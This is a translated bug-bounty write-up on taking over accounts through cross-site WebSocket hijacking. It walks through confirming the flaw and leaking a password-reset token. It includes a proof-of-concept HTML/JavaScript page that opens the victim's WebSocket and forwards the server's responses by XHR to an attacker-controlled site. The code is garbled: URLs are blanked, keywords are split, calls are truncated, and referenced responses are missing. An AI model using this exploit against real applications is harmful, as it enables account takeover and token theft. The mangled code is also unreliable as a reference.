take over account by using websocket cross site hijacking (cswh) vulnerability

Posted by deaguero at 2020-03-22

In a vulnerability reward activity, I found an application using websocket connection, so I checked the websocket URL and found that it was vulnerable to cswh attack (websocket cross site hijacking)

For more details on cswh, visit the following link to learn

First, let's assume that an application is wss:// that establishes a websocket connection through the following URL. The following steps can be followed to verify the existence of cswh vulnerability in the URL:


Open the web app on the browser and log in.

Enter in the new tab, enter the websocket URL, and click Connect.

Once the connection is established, you must be able to send data frames to the server from this page. Then, use burpsuite's proxy to capture websocket data frame for debugging, send it many times, and see how the server responds. If the response of burp is the same as that of web page, it means that the target is likely to be attacked by websocket cross site hijacking

Through the above steps, I confirm that there is a cswh vulnerability in the application.

Once the websocket connection is established on the new tab, I receive the following websocket response

As you can see from the above response, the value of the parameter "65104; forgotpasswordid" is "null".

Now I need the "'forgotpasswordid" parameter to send a malicious request to reset the password.

I tested the websocket connection again, and this time I saw the following response, which contains a forgetpasswordid token


Now prepare the utilization chain of cswh vulnerability and reset the password to take over the account. The following payload composed of HTML code will send XHR request and direct the response to the attacker controlled site.

<!-- Reference --> <!DOCTYPE html> <me ta charset="utf-8" /> <title>Testing</title> <sc ript language="ja vasc ript" type="text/ja vasc ript"> var wsUri = "wss://"; var output; function init() { output = document.getElementById("output"); testWebSocket(); } function testWebSocket() { websocket = new WebSocket(wsUri); websocket.onopen = function(evt) { onOpen(evt) }; websocket.onclose = function(evt) { onClose(evt) }; websocket.onmessage = function(evt) { onMessage(evt) }; websocket.on error = function(evt) { on error(evt) }; } function onOpen(evt) { writeToScreen("CONNECTED"); doSend('websocket fr ame '); } function onClose(evt) { writeToScreen("DISCONNECTED"); } function onMessage(evt) { var xhr = new xm lHttpRequest();"POST", "", true); xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8"); xhr.send(; websocket.close(); } function on error(evt) { writeToScreen('<span style="color: red;">ERROR:</span> ' +; } function doSend(message) { writeToScreen("SENT: " + message); websocket.send(message); } function writeToScreen(message) { var pre = document.createElement("p"); = "break-word"; pre.innerHTML = message; output.appendChild(pre); } window.addEventListener("load", init, false); </sc ript> <h2>WebSocket Test</h2> <di v id="output"></di v>

Attack steps

With this "forgotpasswordid" token, we can reset the victim's password.

本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场 来源: